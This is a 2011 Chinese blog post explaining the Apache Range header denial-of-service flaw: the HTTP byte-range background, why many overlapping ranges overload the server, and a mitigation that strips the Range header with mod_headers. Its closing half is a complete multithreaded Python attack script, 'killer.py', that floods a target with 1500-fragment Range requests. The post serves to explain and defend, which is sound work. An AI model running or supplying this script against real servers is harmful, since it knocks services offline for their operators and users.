stone2083

Apache Range Header DOS攻击 介绍

背景
http://lwn.net/Articles/456268/


Http协议之Byte Range
http://www.ietf.org/rfc/rfc2616.txt (14.35章节)
14.35   Range ....................................................138
   14.35.1    Byte Ranges ...........................................138
   14.35.2    Range Retrieval Requests ..............................139

Apache演示
1. 新建内容为abcdefghijk的txt页面
2. 不带Byte Range Header的请求,请看:

3.带Byte Range Header的请求,请看:


理论上,一旦带上N个Range分片,Apache单次请求压力就是之前的N倍(实际少于N),需要做大量的运算和字符串处理。故构建无穷的分片,单机DOS攻击,就能搞垮Apache Server。

解决方案
1. 等待Apache修复,不过Byte Range是规范要求的,不能算是真正意义上的BUG,不知道会如何修复这个问题
2. 对于不是下载站点来说,建议禁用Byte Range,具体做法:
2.1 安装mod_headers模块
2.2 配置文件加上: RequestHeader unset Range

最后附上一个攻击脚本,做演示
 1 # encoding:utf8
 2 #!/usr/bin/env python
 3 import socket
 4 import threading
 5 import sys
 6 
 7 headers = '''
 8 HEAD / HTTP/1.1
 9 Host: %s
10 Range: bytes=%s
11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
12 
13 '''
14 
15 #fragment count and loop count
16 COUNT = 1500
17 #concurrent count
18 PARALLEL = 50
19 PORT = 80
20 
21 def req(server):
22     try:
23         s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
24         s.connect((server, PORT))
25         s.send(headers % (server, fragment(COUNT)))
26         s.close()
27     except:
28         print 'Server Seems Weak. Please Stop.'
29 
30 def fragment(n):
31     ret = ''
32     for i in xrange(n):
33         if i == 0:
34             ret = ret + '0-' + str(i + 1)
35         else:
36             ret = ret + ',0-' + str(i + 1)
37     return ret
38 
39 def run(server):
40     for _ in xrange(COUNT):
41         req(server)
42 
43 if len(sys.argv) != 2:
44     print 'killer.py $server'
45     sys.exit(0)
46 
47 #run
48 srv = sys.argv[1]
49 for _ in xrange(PARALLEL):
50     threading.Thread(target=run, args=(srv,)).start()
51 

posted on 2011-08-29 10:35 stone2083 阅读(4063) 评论(0)  编辑  收藏 所属分类: net


只有注册用户登录后才能发表评论。


网站导航: